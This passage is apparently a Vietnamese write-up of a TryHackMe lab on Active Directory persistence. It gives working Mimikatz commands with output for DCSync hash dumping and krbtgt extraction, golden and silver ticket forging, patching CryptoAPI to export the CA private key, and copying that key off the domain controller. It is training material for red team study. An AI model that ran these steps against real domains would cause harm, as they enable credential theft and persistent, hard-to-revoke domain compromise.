Credentials

Chúng ta sẽ sử dụng các credential có quyền cao để tạo ra persistence ở trên các credential có quyền thấp. Credential trong ngữ cảnh này có thể là cặp username và password hoặc username và password hash.

DC Sync

Đối với các doanh nghiệp lớn trải dài trên nhiều quốc gia, việc chỉ có một domain controller sẽ gây ra độ trễ cho quá trình xác thực trong Active Directory (AD). Do đó, việc triển khai nhiều domain controller là cần thiết để giảm thiểu độ trễ này.

Vấn đề đặt ra là: làm thế nào để một thông tin xác thực (credential) có thể được xác nhận bởi nhiều domain controller khác nhau? Để giải quyết vấn đề này, chúng ta cần sử dụng cơ chế DC Synchronization. Cụ thể, mỗi domain controller chạy một tiến trình có tên là Knowledge Consistency Checker (KCC). Tiến trình này sẽ tự động kết nối với các domain controller khác thông qua Remote Procedure Calls (RPC) để đồng bộ các thông tin cập nhật, chẳng hạn như mật khẩu mới của người dùng hoặc các object mới (ví dụ khi một người dùng mới được tạo). Đây là lý do mà ta có thể phải chờ vài phút để thông tin thay đổi mật khẩu được áp dụng, bởi vì domain controller xử lý yêu cầu xác thực có thể chưa nhận được cập nhật từ domain controller lưu mật khẩu mới.

Các tài khoản thuộc nhóm Domain Admins cũng có thể khởi chạy quá trình DC Synchronization cho các mục đích hợp pháp, chẳng hạn như khi tạo mới một domain controller.

Tấn công DCSync là một kiểu tấn công phổ biến trong đó kẻ tấn công sử dụng một tài khoản có quyền chạy DC Synchronization để thu thập thông tin đăng nhập từ một domain controller.

Not All Credentials Are Created Equal

Các tài khoản có đặc quyền thường bị thay đổi mật khẩu bởi blue team nếu họ phát hiện chúng bị xâm phạm. Do đó, chúng ta cần nhắm vào các tài khoản có ít đặc quyền hơn:

  • Các credential có quyền quản trị cục bộ ở trên một vài máy: thông thường, các tổ chức có một hoặc hai nhóm được cấp quyền quản trị cục bộ trên hầu hết các máy. Các nhóm này thường được chia thành một nhóm dành cho các máy trạm (workstations) và một nhóm dành cho các máy chủ (servers). Bằng cách thu thập credential của các thành viên trong các nhóm này, chúng ta vẫn có thể truy cập vào phần lớn các máy trong hệ thống.
  • Service account có quyền ủy quyền: với các tài khoản này, chúng ta có thể tạo ra golden và silver ticket rồi thực hiện Kerberos delegation attack.
  • Các tài khoản được sử dụng cho các dịch vụ AD có đặc quyền chẳng hạn như Exchange, Windows Server Update Services (WSUS) hoặc System Center Configuration Manager (SCCM) thì chúng ta có thể thực hiện việc Exploiting Active Directory một lần nữa để có quyền truy cập.

DCSync All

Chúng ta sẽ sử dụng Mimikatz để dump credential. Trước tiên, SSH vào THMWRK1 và chạy Mimikatz.

Sau đó, dump NTLM hash của một tài khoản bất kỳ:

mimikatz # lsadump::dcsync /domain:za.tryhackme.loc /user:louis.cole
[DC] 'za.tryhackme.loc' will be the domain
[DC] 'THMDC.za.tryhackme.loc' will be the DC server
[DC] 'louis.cole' will be the user account
[rpc] Service  : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
 
Object RDN           : louis.cole
 
** SAM ACCOUNT **
 
SAM Username         : louis.cole
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00010200 ( NORMAL_ACCOUNT DONT_EXPIRE_PASSWD )
Account expiration   :
Password last change : 4/25/2022 7:30:03 PM
Object Security ID   : S-1-5-21-3885271727-2693558621-2658995185-1120
Object Relative ID   : 1120
 
Credentials:
  Hash NTLM: fbdcd5041c96ddbd82224270b57f11fc
    ntlm- 0: fbdcd5041c96ddbd82224270b57f11fc
    lm  - 0: d40bfd7d451f6f58d12ff18ccab7e820
 
Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
    Random Value : 474acb706d53bbdb880e1dd75bc4ba8d
 
* Primary:Kerberos-Newer-Keys *
    Default Salt : ZA.TRYHACKME.LOClouis.cole
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : c069badc39ba1027c18b4833b4c25491f298a79e99eb227d44d0617b84a0b534
      aes128_hmac       (4096) : 9b07abcdc3c080f9d0a5cadfe2f6e244
      des_cbc_md5       (4096) : 408920ec6426da52
 
* Primary:Kerberos *
    Default Salt : ZA.TRYHACKME.LOClouis.cole
    Credentials
      des_cbc_md5       : 408920ec6426da52
 
* Packages *
    NTLM-Strong-NTOWF

Để có thể dump credential của tất cả các user, chúng ta cần enable chức năng logging của Mimikatz:

mimikatz # log <username>_dcdump.txt 
Using '<username>_dcdump.txt' for logfile: OK

Sau đó thực hiện dump:

mimikatz # lsadump::dcsync /domain:za.tryhackme.loc /all

Kiểm tra file dump:

za\administrator@THMWRK1 C:\Users\Administrator.ZA>dir
 Volume in drive C is Windows
 Volume Serial Number is 1634-22A9
 
 Directory of C:\Users\Administrator.ZA
 
10/12/2024  01:10 PM    <DIR>          .
10/12/2024  01:10 PM    <DIR>          ..
04/27/2022  09:53 AM    <DIR>          3D Objects
10/12/2024  01:13 PM         1,647,062 aleister1102_dcdump.txt
04/27/2022  09:53 AM    <DIR>          Contacts
04/27/2022  09:53 AM    <DIR>          Desktop
06/10/2022  12:20 PM    <DIR>          Documents
04/27/2022  09:53 AM    <DIR>          Downloads
04/27/2022  09:53 AM    <DIR>          Favorites
04/27/2022  09:53 AM    <DIR>          Links
04/27/2022  09:53 AM    <DIR>          Music
04/27/2022  09:53 AM    <DIR>          Pictures
04/27/2022  09:53 AM    <DIR>          Saved Games
04/27/2022  09:53 AM    <DIR>          Searches
04/27/2022  09:53 AM    <DIR>          Videos
               1 File(s)      1,647,062 bytes
              14 Dir(s)  49,676,963,840 bytes free

Tìm NTLM hash của tài khoản krbtgt:

PS C:\Users\Administrator.ZA> cat .\aleister1102_dcdump.txt | Select-String -Pattern krbtgt -Context 10,10
 
  Object RDN           : Print Operators
 
  ** SAM ACCOUNT **
 
  SAM Username         : Print Operators
  Object Security ID   : S-1-5-32-550
  Object Relative ID   : 550
 
  Credentials:
 
> Object RDN           : krbtgt
 
  ** SAM ACCOUNT **
 
> SAM Username         : krbtgt
  User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
  Object Security ID   : S-1-5-21-3885271727-2693558621-2658995185-502
  Object Relative ID   : 502
 
  Credentials:
    Hash NTLM: 16f9af38fca3ada405386b3b57366082
 
  Object RDN           : Read-only Domain Controllers
 
  ** SAM ACCOUNT **

Tickets

Như đã đề cập ở Not All Credentials Are Created Equal, chúng ta sẽ tận dụng các service account có quyền ủy quyền để tạo ra golden ticket và silver ticker.

Luồng xác thực với Kerberos:

Golden Tickets

Là các TGT giả mạo. Với TGT này, chúng ta có thể yêu cầu TGS cho bất kỳ dịch vụ nào mà ta muốn. Để tạo ra một golden ticket, chúng ta cần password hash của tài khoản krbtgt để ký TGT cho bất kỳ tài khoản nào muốn giả mạo. Ngoài ra, cần có domain name, domain SID và user SID của tài khoản mục tiêu.

  • KDC chỉ xác minh tài khoản người dùng trong TGT nếu nhãn thời gian đã quá 20 phút. Điều này có nghĩa là chúng ta có thể tạo ra TGT chứa một tài khoản đã bị vô hiệu hóa, bị xóa, hoặc thậm chí không tồn tại, miễn là nhãn thời gian không quá 20 phút.
  • Các chính sách và quy định cho ticket được thiết lập bên trong TGT, nên chúng ta có thể ghi đè các giá trị này, chẳng hạn như kéo dài thời hạn sử dụng của ticket từ 10 giờ thành 10 năm để duy trì quyền truy cập lâu dài. Theo mặc định, mật khẩu của tài khoản krbtgt rất ít khi thay đổi vì việc này có thể ảnh hưởng đến các dịch vụ đang sử dụng TGT.
  • Nếu cần reset mật khẩu của tài khoản krbtgt, blue team sẽ phải thực hiện hai lần, vì cả mật khẩu hiện tại và mật khẩu trước đó đều hợp lệ để đảm bảo không làm gián đoạn hoạt động của các dịch vụ.
  • Golden ticket có thể được tạo trên bất kỳ máy nào, làm cho việc phát hiện tấn công khó khăn hơn.

Silver Tickets

Là các TGS giả mạo được ký bằng password hash của machine account trên host mục tiêu (máy mà chúng ta muốn truy cập):

  • Khác với golden ticket, silver ticket chỉ cho phép truy cập giới hạn. Với golden ticket, chúng ta có thể truy cập vào mọi tài nguyên. Nhưng với silver ticket, do chỉ có password hash của machine account nên ta chỉ có thể giả mạo các user trên host mục tiêu.
  • Silver ticket không yêu cầu TGT cũng như là không tương tác với Domain Controller (DC) và log chỉ tồn tại trên host mục tiêu nên rất khó bị phát hiện bởi blue team.
  • Vì quyền hạn trong Kerberos được xác định qua SID, chúng ta có thể tạo silver ticket chứa user không tồn tại, miễn là ticket chứa các SID cần thiết để user đó thuộc nhóm quản trị viên cục bộ.
  • Machine account thường tự động đổi mật khẩu mỗi 30 ngày. Khi sử dụng silver ticket, cần thay đổi registry của host mục tiêu để ngăn mật khẩu này thay đổi nhằm duy trì tính hợp lệ của ticket.
  • Machine account có thể hoạt động như một tài khoản AD thông thường, giúp chúng ta thực hiện các hoạt động dò tìm và khai thác trong Active Directory.

Forging Tickets for Fun and Profit

Sau khi thực hiện DC Sync, ta chắc hẳn đã có password hash của krbtgt. Ngoài ra, ta cũng cần có password hash của THMSERVER1 vì ta sẽ sử dụng nó để tạo silver ticket. Thông tin cuối cùng mà ta cần là domain SID, có thể được truy xuất thông qua một tài khoản có quyền thấp ở trên THMWRK1 sử dụng một AD-RSAT cmdlet như sau:

PS C:\Users\louis.cole> Get-ADDomain
 
 
AllowedDNSSuffixes                 : {}
ChildDomains                       : {}
ComputersContainer                 : CN=Computers,DC=za,DC=tryhackme,DC=loc
DeletedObjectsContainer            : CN=Deleted Objects,DC=za,DC=tryhackme,DC=loc
DistinguishedName                  : DC=za,DC=tryhackme,DC=loc
DNSRoot                            : za.tryhackme.loc
DomainControllersContainer         : OU=Domain Controllers,DC=za,DC=tryhackme,DC=loc
DomainMode                         : Windows2012R2Domain
DomainSID                          : S-1-5-21-3885271727-2693558621-2658995185
ForeignSecurityPrincipalsContainer : CN=ForeignSecurityPrincipals,DC=za,DC=tryhackme,DC=loc
Forest                             : tryhackme.loc
InfrastructureMaster               : THMDC.za.tryhackme.loc
LastLogonReplicationInterval       :
LinkedGroupPolicyObjects           : {CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=Policies,CN=System,DC=za,DC=tryhackme,DC=loc}
LostAndFoundContainer              : CN=LostAndFound,DC=za,DC=tryhackme,DC=loc
ManagedBy                          :
Name                               : za
NetBIOSName                        : ZA
ObjectClass                        : domainDNS
ObjectGUID                         : 1fc9e299-da51-4d03-baa0-862c3360c0b2
ParentDomain                       : tryhackme.loc
PDCEmulator                        : THMDC.za.tryhackme.loc
PublicKeyRequiredPasswordRolling   :
QuotasContainer                    : CN=NTDS Quotas,DC=za,DC=tryhackme,DC=loc
ReadOnlyReplicaDirectoryServers    : {}
ReplicaDirectoryServers            : {THMDC.za.tryhackme.loc}
RIDMaster                          : THMDC.za.tryhackme.loc
SubordinateReferences              : {DC=DomainDnsZones,DC=za,DC=tryhackme,DC=loc}
SystemsContainer                   : CN=System,DC=za,DC=tryhackme,DC=loc
UsersContainer                     : CN=Users,DC=za,DC=tryhackme,DC=loc

Sử dụng Mimikatz để tạo golden ticket:

mimikatz # kerberos::golden /admin:ReallyNotALegitAccount /domain:za.tryhackme.loc /id:500 /sid:<Domain SID> /krbtgt:<NTLM hash of KRBTGT account> /endin:600 /renewmax:10080 /ptt

Giải thích các option:

  • /admin: account mà ta muốn giả mạo. Giá trị của nó không nhất thiết phải là hợp lệ.
  • /id: RID của user. Mặc định, Mimikatz sẽ sử dụng RID của tài khoản Administrator và có giá trị là 500
  • /endin: thời hạn sử dụng của ticket. Mặc định, Mimikatz sẽ tạo ra ticket có thời hạn 10 năm. Trong khi đó, chính sách mặc định của Kerberos sẽ tạo ra ticket có thời hạn 10 tiếng (600 phút).
  • /renewmax: thời hạn sử dụng tối đa của ticket sau khi gia hạn. Tương tự với /endin, giá trị mặc định của Mimikatz là 10 năm còn của Kerberos là 7 ngày (10080 phút).
  • /ptt: inject ticket được tạo ra vào memory

Output khi thực thi câu lệnh trên:

mimikatz # kerberos::golden /admin:ReallyNotALegitAccount /domain:za.tryhackme.loc /id:500 /sid:S-1-5-21-3885271727-2693558621-2658995185 /krbtgt:16f9af38fca3ada405386b3b57366082 /endin:600
 /renewmax:10080 /ptt
User      : ReallyNotALegitAccount
Domain    : za.tryhackme.loc (ZA)
SID       : S-1-5-21-3885271727-2693558621-2658995185
User Id   : 500
Groups Id : *513 512 520 518 519
ServiceKey: 16f9af38fca3ada405386b3b57366082 - rc4_hmac_nt
Lifetime  : 10/12/2024 5:36:28 PM ; 10/13/2024 3:36:28 AM ; 10/19/2024 5:36:28 PM
-> Ticket : ** Pass The Ticket **
 
 * PAC generated
 * PAC signed
 * EncTicketPart generated
 * EncTicketPart encrypted
 * KrbCred generated
 
Golden ticket for 'ReallyNotALegitAccount @ za.tryhackme.loc' successfully submitted for current session

Xác nhận lại bằng cách thử truy cập vào domain controller:

PS C:\Users\Administrator.ZA> dir \\thmdc.za.tryhackme.loc\c$\
 
 
    Directory: \\thmdc.za.tryhackme.loc\c$
 
 
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        9/15/2018   8:19 AM                PerfLogs
d-r---        5/11/2022  10:32 AM                Program Files
d-----        3/21/2020   8:28 PM                Program Files (x86)
d-----         7/6/2022   4:38 PM                tmp
da----        6/30/2022   2:58 PM                Tools
d-r---        4/27/2022   8:22 AM                Users
d----l        4/25/2022   7:11 PM                vagrant
d-----         7/3/2022   9:51 AM                Windows
-a----         1/4/2022   7:47 AM            103 delete-vagrant-user.ps1
-a----         5/1/2022   9:11 AM            169 dns_entries.csv
-a----         7/3/2022   6:05 PM           7168 shell.exe
-a----         5/1/2022   9:17 AM           1725 thm-network-setup-dc.ps1

Câu lệnh được dùng để tạo silver ticket:

mimikatz # kerberos::golden /admin:StillNotALegitAccount /domain:za.tryhackme.loc /id:500 /sid:<Domain SID> /target:<Hostname of server being targeted> /rc4:<NTLM Hash of machine account of target> /service:cifs /ptt

Với:

  • /target là hostname của host mục tiêu chẳng hạn như THMSERVER1.za.tryhackme.loc. Nó có thể là của bất kỳ domain-joined machine nào.
  • /rc4 là NTLM hash của machine account ở trên host mục tiêu. Machine account sẽ có username với hậu tố là ký tự $ chẳng hạn như THMSERVER1$.
  • /service là service mà ta muốn truy cập ở trên host mục tiêu. CIFS cho phép chúng ta truy cập vào các tập tin ở trên host.

Certificates

title: Lưu ý quan trọng
Các kỹ thuật từ đây trở đi rất xâm nhập và khó loại bỏ. Mặc dù đã được đội red team phê duyệt, chúng ta vẫn cần phải cẩn thận khi thực hiện vì việc khai thác có thể dẫn đến việc tái cấu trúc toàn bộ domain. Chỉ thực hiện khi đã hiểu rõ hậu quả và cảm thấy thật sự cần thiết.
 
Thông thường, ở giai đoạn này, các bài đánh giá red team sẽ dừng lại và thay vào đó là chỉ mô phỏng các kỹ thuật duy trì quyền truy cập.

Hai kỹ thuật trước vẫn có thể bị đánh bại bởi blue team nếu họ reset password của các credential. Do đó, ta cần đến một kỹ thuật mà không phụ thuộc vào các credential.

The Return of AD CS

Trong Certificates, chúng ta tận dụng các certificate để trở thành Domain Admins. Tuy nhiên, chúng còn có thể được sử dụng để thực hiện việc duy trì quyền truy cập. Tất cả những gì ta cần chỉ là một certificate mà có thể được dùng cho việc xác thực client để ta có thể yêu cầu một TGT. Kể cả khi blue team reset password, chúng ta vẫn có thể sử dụng certificate này để yêu cầu một TGT khác. Cách duy nhất để chặn quyền truy cập là blue team thu hồi certificate hoặc nó hết hạn (sau khoảng 5 năm).

Tùy vào mức độ truy cập mà ta có, ta có thể đánh cắp private key của root CA certificate rồi tự tạo ra các certificate bất cứ khi nào ta muốn. Tồi tệ hơn, do các certificate đó không phải do CA cấp nên blue team không có cách nào thu hồi chúng. Để có thể hoàn toàn chấm dứt quyền truy cập, blue team sẽ cần phải reset password của CA và điều này sẽ khiến tất cả các certificate đã được cấp phát sẽ bị thu hồi.

Extracting the Private Key

Private key của CA được lưu trữ ở trên CA server. Nếu như private key không được bảo vệ bởi các phương pháp bảo vệ phần cứng chẳng hạn như Hardware Security Module (HSM), vốn thường xảy ra nếu các doanh nghiệp chỉ sử dụng AD CS cho các mục đích nội bộ, thì nó sẽ được bảo vệ bởi Data Protection API (DPAPI). Khi đó, chúng ta có thể trích xuất CA certificate cũng như là private key sử dụng Mimikatz và SharpDPAPI.

SSH vào THMDC bằng một tài khoản Administrator rồi tạo ra một thư mục riêng. Sau đó, sử dụng Mimikatz để kiểm tra xem chúng ta có thể xem được certificate lưu trữ ở trên DC hay không:

mimikatz # crypto::certificates /systemstore:local_machine
 * System Store  : 'local_machine' (0x00020000)
 * Store         : 'My'
 
 0.
    Subject  :
    Issuer   : DC=loc, DC=tryhackme, DC=za, CN=za-THMDC-CA
    Serial   : 040000000000703a4d78090a0ab10400000010
    Algorithm: 1.2.840.113549.1.1.1 (RSA)
    Validity : 4/27/2022 8:32:43 PM -> 4/27/2023 8:32:43 PM
    Hash SHA1: d6a84e153fa326554f095be4255460d5a6ce2b39
        Key Container  : dbe5782f91ce09a2ebc8e3bde464cc9b_32335b3b-2d6f-4ad7-a061-b862ac75bcb1
        Provider       : Microsoft RSA SChannel Cryptographic Provider
        Provider type  : RSA_SCHANNEL (12)
        Type           : AT_KEYEXCHANGE (0x00000001)
        |Provider name : Microsoft RSA SChannel Cryptographic Provider
        |Key Container : te-DomainControllerAuthentication-5ed52c94-34e8-4450-a751-a57ac55a110f
        |Unique name   : dbe5782f91ce09a2ebc8e3bde464cc9b_32335b3b-2d6f-4ad7-a061-b862ac75bcb1
        |Implementation: CRYPT_IMPL_SOFTWARE ;
        Algorithm      : CALG_RSA_KEYX
        Key size       : 2048 (0x00000800)
        Key permissions: 0000003b ( CRYPT_ENCRYPT ; CRYPT_DECRYPT ; CRYPT_READ ; CRYPT_WRITE ; CRYPT_MAC ; )
        Exportable key : NO
 
 1. za-THMDC-CA
    Subject  : DC=loc, DC=tryhackme, DC=za, CN=za-THMDC-CA
    Issuer   : DC=loc, DC=tryhackme, DC=za, CN=za-THMDC-CA
    Serial   : 90e157dae304ef429824a33d3a3ef91e
    Algorithm: 1.2.840.113549.1.1.1 (RSA)
    Validity : 4/27/2022 7:58:15 PM -> 4/27/2027 8:08:09 PM
    Hash SHA1: c12fcb4b88467854b3d4d7f762adb50b0fd8346e
        Key Container  : za-THMDC-CA
        Provider       : Microsoft Software Key Storage Provider
        Provider type  : cng (0)
        Type           : CNG Key (0xffffffff)
        |Provider name : Microsoft Software Key Storage Provider
        |Implementation: NCRYPT_IMPL_SOFTWARE_FLAG ;
        Key Container  : za-THMDC-CA
        Unique name    : 8d666f3049de45dee20c70510f66d2cf_32335b3b-2d6f-4ad7-a061-b862ac75bcb1
        Algorithm      : RSA
        Key size       : 2048 (0x00000800)
        Export policy  : 00000003 ( NCRYPT_ALLOW_EXPORT_FLAG ; NCRYPT_ALLOW_PLAINTEXT_EXPORT_FLAG ; )
        Exportable key : YES
        LSA isolation  : NO
 
 2. THMDC.za.tryhackme.loc
    Subject  : CN=THMDC.za.tryhackme.loc
    Issuer   : DC=loc, DC=tryhackme, DC=za, CN=za-THMDC-CA
    Serial   : 03000000000057c6f9be06e7c78d0300000010
    Algorithm: 1.2.840.113549.1.1.1 (RSA)
    Validity : 4/27/2022 8:32:43 PM -> 4/27/2023 8:32:43 PM
    Hash SHA1: a0e69ecef166b2d785a1b7d615ff730819443d42
        Key Container  : 520b5ca0aec81961ad476939c6792c13_32335b3b-2d6f-4ad7-a061-b862ac75bcb1
        Provider       : Microsoft RSA SChannel Cryptographic Provider
        Provider type  : RSA_SCHANNEL (12)
        Type           : AT_KEYEXCHANGE (0x00000001)
        |Provider name : Microsoft RSA SChannel Cryptographic Provider
        |Key Container : te-DomainController-ccb1e691-6606-40a3-a87a-f549bdcd757c
        |Unique name   : 520b5ca0aec81961ad476939c6792c13_32335b3b-2d6f-4ad7-a061-b862ac75bcb1
        |Implementation: CRYPT_IMPL_SOFTWARE ;
        Algorithm      : CALG_RSA_KEYX
        Key size       : 2048 (0x00000800)
        Key permissions: 0000003b ( CRYPT_ENCRYPT ; CRYPT_DECRYPT ; CRYPT_READ ; CRYPT_WRITE ; CRYPT_MAC ; )
        Exportable key : NO
 
 3.
    Subject  :
    Issuer   : DC=loc, DC=tryhackme, DC=za, CN=za-THMDC-CA
    Serial   : 02000000000078856466521a82570200000010
    Algorithm: 1.2.840.113549.1.1.1 (RSA)
    Validity : 4/27/2022 8:32:18 PM -> 4/27/2023 8:32:18 PM
    Hash SHA1: 0d43237c50ccb446a07572545b5b4c8cf517682a
        Key Container  : 544fc312c893025e32795e06e74c4517_32335b3b-2d6f-4ad7-a061-b862ac75bcb1
        Provider       : Microsoft RSA SChannel Cryptographic Provider
        Provider type  : RSA_SCHANNEL (12)
        Type           : AT_KEYEXCHANGE (0x00000001)
        |Provider name : Microsoft RSA SChannel Cryptographic Provider
        |Key Container : te-KerberosAuthentication-21e4d1ee-54f7-4ca5-b36b-b2cecff9a609
        |Unique name   : 544fc312c893025e32795e06e74c4517_32335b3b-2d6f-4ad7-a061-b862ac75bcb1
        |Implementation: CRYPT_IMPL_SOFTWARE ;
        Algorithm      : CALG_RSA_KEYX
        Key size       : 2048 (0x00000800)
        Key permissions: 0000003b ( CRYPT_ENCRYPT ; CRYPT_DECRYPT ; CRYPT_READ ; CRYPT_WRITE ; CRYPT_MAC ; )
        Exportable key : NO (edited)

Có thể thấy, một vài certificate không cho phép export private key. May mắn thay, Mimikatz cho phép chúng ta chỉnh sửa memory để có thể export private key:

mimikatz # crypto::capi
Local CryptoAPI RSA CSP patched
Local CryptoAPI DSS CSP patched
 
mimikatz # crypto::cng
"KeyIso" service patched

Sau đó, export private key:

mimikatz # crypto::certificates /systemstore:local_machine /export
 * System Store  : 'local_machine' (0x00020000)
 * Store         : 'My'
 
 0.
    Subject  :
    Issuer   : DC=loc, DC=tryhackme, DC=za, CN=za-THMDC-CA
    Serial   : 040000000000703a4d78090a0ab10400000010
    Algorithm: 1.2.840.113549.1.1.1 (RSA)
    Validity : 4/27/2022 8:32:43 PM -> 4/27/2023 8:32:43 PM
    Hash SHA1: d6a84e153fa326554f095be4255460d5a6ce2b39
        Key Container  : dbe5782f91ce09a2ebc8e3bde464cc9b_32335b3b-2d6f-4ad7-a061-b862ac75bcb1
        Provider       : Microsoft RSA SChannel Cryptographic Provider
        Provider type  : RSA_SCHANNEL (12)
        Type           : AT_KEYEXCHANGE (0x00000001)
        |Provider name : Microsoft RSA SChannel Cryptographic Provider
        |Key Container : te-DomainControllerAuthentication-5ed52c94-34e8-4450-a751-a57ac55a110f
        |Unique name   : dbe5782f91ce09a2ebc8e3bde464cc9b_32335b3b-2d6f-4ad7-a061-b862ac75bcb1
        |Implementation: CRYPT_IMPL_SOFTWARE ;
        Algorithm      : CALG_RSA_KEYX
        Key size       : 2048 (0x00000800)
        Key permissions: 0000003b ( CRYPT_ENCRYPT ; CRYPT_DECRYPT ; CRYPT_READ ; CRYPT_WRITE ; CRYPT_MAC ; )
        Exportable key : NO
        Public export  : OK - 'local_machine_My_0_.der'
        Private export : OK - 'local_machine_My_0_.pfx'
 
 1. za-THMDC-CA
    Subject  : DC=loc, DC=tryhackme, DC=za, CN=za-THMDC-CA
    Issuer   : DC=loc, DC=tryhackme, DC=za, CN=za-THMDC-CA
    Serial   : 90e157dae304ef429824a33d3a3ef91e
    Algorithm: 1.2.840.113549.1.1.1 (RSA)
    Validity : 4/27/2022 7:58:15 PM -> 4/27/2027 8:08:09 PM
    Hash SHA1: c12fcb4b88467854b3d4d7f762adb50b0fd8346e
        Key Container  : za-THMDC-CA
        Provider       : Microsoft Software Key Storage Provider
        Provider type  : cng (0)
        Type           : CNG Key (0xffffffff)
        |Provider name : Microsoft Software Key Storage Provider
        |Implementation: NCRYPT_IMPL_SOFTWARE_FLAG ;
        Key Container  : za-THMDC-CA
        Unique name    : 8d666f3049de45dee20c70510f66d2cf_32335b3b-2d6f-4ad7-a061-b862ac75bcb1
        Algorithm      : RSA
        Key size       : 2048 (0x00000800)
        Export policy  : 00000003 ( NCRYPT_ALLOW_EXPORT_FLAG ; NCRYPT_ALLOW_PLAINTEXT_EXPORT_FLAG ; )
        Exportable key : YES
        LSA isolation  : NO
        Public export  : OK - 'local_machine_My_1_za-THMDC-CA.der'
        Private export : OK - 'local_machine_My_1_za-THMDC-CA.pfx'
 
 2. THMDC.za.tryhackme.loc
    Subject  : CN=THMDC.za.tryhackme.loc
    Issuer   : DC=loc, DC=tryhackme, DC=za, CN=za-THMDC-CA
    Serial   : 03000000000057c6f9be06e7c78d0300000010
    Algorithm: 1.2.840.113549.1.1.1 (RSA)
    Validity : 4/27/2022 8:32:43 PM -> 4/27/2023 8:32:43 PM
    Hash SHA1: a0e69ecef166b2d785a1b7d615ff730819443d42
        Key Container  : 520b5ca0aec81961ad476939c6792c13_32335b3b-2d6f-4ad7-a061-b862ac75bcb1
        Provider       : Microsoft RSA SChannel Cryptographic Provider
        Provider type  : RSA_SCHANNEL (12)
        Type           : AT_KEYEXCHANGE (0x00000001)
        |Provider name : Microsoft RSA SChannel Cryptographic Provider
        |Key Container : te-DomainController-ccb1e691-6606-40a3-a87a-f549bdcd757c
        |Unique name   : 520b5ca0aec81961ad476939c6792c13_32335b3b-2d6f-4ad7-a061-b862ac75bcb1
        |Implementation: CRYPT_IMPL_SOFTWARE ;
        Algorithm      : CALG_RSA_KEYX
        Key size       : 2048 (0x00000800)
        Key permissions: 0000003b ( CRYPT_ENCRYPT ; CRYPT_DECRYPT ; CRYPT_READ ; CRYPT_WRITE ; CRYPT_MAC ; )
        Exportable key : NO
        Public export  : OK - 'local_machine_My_2_THMDC.za.tryhackme.loc.der'
        Private export : OK - 'local_machine_My_2_THMDC.za.tryhackme.loc.pfx'
 
 3.
    Subject  :
    Issuer   : DC=loc, DC=tryhackme, DC=za, CN=za-THMDC-CA
    Serial   : 02000000000078856466521a82570200000010
    Algorithm: 1.2.840.113549.1.1.1 (RSA)
    Validity : 4/27/2022 8:32:18 PM -> 4/27/2023 8:32:18 PM
    Hash SHA1: 0d43237c50ccb446a07572545b5b4c8cf517682a
        Key Container  : 544fc312c893025e32795e06e74c4517_32335b3b-2d6f-4ad7-a061-b862ac75bcb1
        Provider       : Microsoft RSA SChannel Cryptographic Provider
        Provider type  : RSA_SCHANNEL (12)
        Type           : AT_KEYEXCHANGE (0x00000001)
        |Provider name : Microsoft RSA SChannel Cryptographic Provider
        |Key Container : te-KerberosAuthentication-21e4d1ee-54f7-4ca5-b36b-b2cecff9a609
        |Unique name   : 544fc312c893025e32795e06e74c4517_32335b3b-2d6f-4ad7-a061-b862ac75bcb1
        |Implementation: CRYPT_IMPL_SOFTWARE ;
        Algorithm      : CALG_RSA_KEYX
        Key size       : 2048 (0x00000800)
        Key permissions: 0000003b ( CRYPT_ENCRYPT ; CRYPT_DECRYPT ; CRYPT_READ ; CRYPT_WRITE ; CRYPT_MAC ; )
        Exportable key : NO
        Public export  : OK - 'local_machine_My_3_.der'
        Private export : OK - 'local_machine_My_3_.pfx'

Liệt kê các key đã được export:

za\administrator@THMDC C:\Users\Administrator\aleister>dir
 Volume in drive C is Windows
 Volume Serial Number is 1634-22A9
 
 Directory of C:\Users\Administrator\aleister
 
10/12/2024  06:10 PM    <DIR>          .
10/12/2024  06:10 PM    <DIR>          ..
10/12/2024  06:10 PM             1,423 local_machine_My_0_.der
10/12/2024  06:10 PM             3,299 local_machine_My_0_.pfx
10/12/2024  06:10 PM               939 local_machine_My_1_za-THMDC-CA.der
10/12/2024  06:10 PM             2,685 local_machine_My_1_za-THMDC-CA.pfx
10/12/2024  06:10 PM             1,534 local_machine_My_2_THMDC.za.tryhackme.loc.der
10/12/2024  06:10 PM             3,380 local_machine_My_2_THMDC.za.tryhackme.loc.pfx
10/12/2024  06:10 PM             1,465 local_machine_My_3_.der
10/12/2024  06:10 PM             3,321 local_machine_My_3_.pfx
               8 File(s)         18,046 bytes
               2 Dir(s)  51,561,656,320 bytes free

File local_machine_My_1_za-THMDC-CA.pfx chính là certificate của CA mà ta sẽ sử dụng. Để có thể export private key thì cần phải cung cấp một password. Mimikatz sử dụng password mặc định là mimikatz.

Tải certificate về máy của attacker:

PS C:\Users\louis.cole> scp -p za.tryhackme.loc\Administrator@10.200.88.101:/C:/Users/Administrator/aleister/local_machine_My_1_za-THMDC-CA.pfx .
The authenticity of host '10.200.88.101 (10.200.88.101)' can't be established.
ECDSA key fingerprint is SHA256:HTvSA1Qt987SOP3SRopzSQ22Q8lPttrUzTwuTyGDLck.
Are you sure you want to continue connecting (yes/no/[fingerprint])?
Warning: Permanently added '10.200.88.101' (ECDSA) to the list of known hosts.
za.tryhackme.loc\Administrator@10.200.88.101's password:
local_machine_My_1_za-THMDC-CA.pfx                                                                                                                         100% 2685     2.6KB/s   00:00
 
PS C:\Users\louis.cole> dir
 
 
    Directory: C:\Users\louis.cole
 
 
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----       10/12/2024   6:13 PM                .ssh
d-r---        9/15/2018   8:19 AM                Desktop
d-r---       10/12/2024   5:24 PM                Documents
d-r---        9/15/2018   8:19 AM                Downloads
d-r---        9/15/2018   8:19 AM                Favorites
d-r---        9/15/2018   8:19 AM                Links
d-r---        9/15/2018   8:19 AM                Music
d-r---        9/15/2018   8:19 AM                Pictures
d-----        9/15/2018   8:19 AM                Saved Games
d-r---        9/15/2018   8:19 AM                Videos
-a----       10/12/2024   6:10 PM           2685 local_machine_My_1_za-THMDC-CA.pfx

Sử dụng công cụ ForgeCert của GhostPack để tạo ra một certificate cho phép thực hiện xác thực client với bất kỳ user nào mà ta muốn:

